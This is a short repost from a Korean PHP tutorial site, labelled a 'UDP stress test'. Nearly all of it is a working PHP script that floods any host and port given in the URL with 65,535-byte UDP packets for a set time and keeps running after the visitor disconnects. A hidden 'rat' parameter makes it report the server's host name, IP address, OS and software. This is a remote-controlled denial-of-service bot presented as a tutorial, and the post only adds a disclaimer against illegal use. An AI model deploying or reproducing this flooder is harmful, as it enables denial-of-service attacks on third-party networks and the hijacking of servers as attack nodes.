>  기사  >  백엔드 개발  >  PHP UDP 스트레스 테스트

PHP UDP 스트레스 테스트

WBOY
WBOY원래의
2016-08-08 09:30:581183검색
<?php
set_time_limit(984918);
$host = $_GET[&#39;host&#39;];//对方ip
$port = $_GET[&#39;port&#39;];//端口
$exec_time = $_GET[&#39;time&#39;];//持续时长
$Sendlen = 65535;
$packets = 0;
ignore_user_abort(True);
if (StrLen($host)==0 or StrLen($port)==0 or StrLen($exec_time)==0){
        if (StrLen($_GET[&#39;rat&#39;])<>0){
                echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE'].$_GET['rat'];
                exit;
            }
        echo "Parameters can not be empty!";
        exit;
    }
for($i=0;$i<$Sendlen;$i++){
        $out .= "B";
    }
$max_time = time()+$exec_time;
while(1){
    $packets++;
    if(time() > $max_time){
        break;
    }
    $fp = fsockopen("udp://$host", $port, $errno, $errstr, 5);
        if($fp){
            fwrite($fp, $out);
            fclose($fp);
    }
}
echo "Send Host:$host:$port<br><br>";
echo "Send Flow:$packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) . " mb<br><br>";
echo "Send Rate:" . round($packets/$exec_time, 2) . " packs/s;" . round($packets/$exec_time*$Sendlen/1024/1024, 2) . " mb/s";
?>
인터넷에서 전재한 내용이므로 불법적인 용도로 사용하지 마세요! 그렇지 않으면 결과에 따른 책임은 귀하에게 있습니다!

위 내용은 PHP UDP 스트레스 테스트를 관련 내용을 포함하여 소개한 내용으로, PHP 튜토리얼에 관심이 있는 친구들에게 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.
이전 기사:Nginx 이벤트 모듈다음 기사:Nginx 이벤트 모듈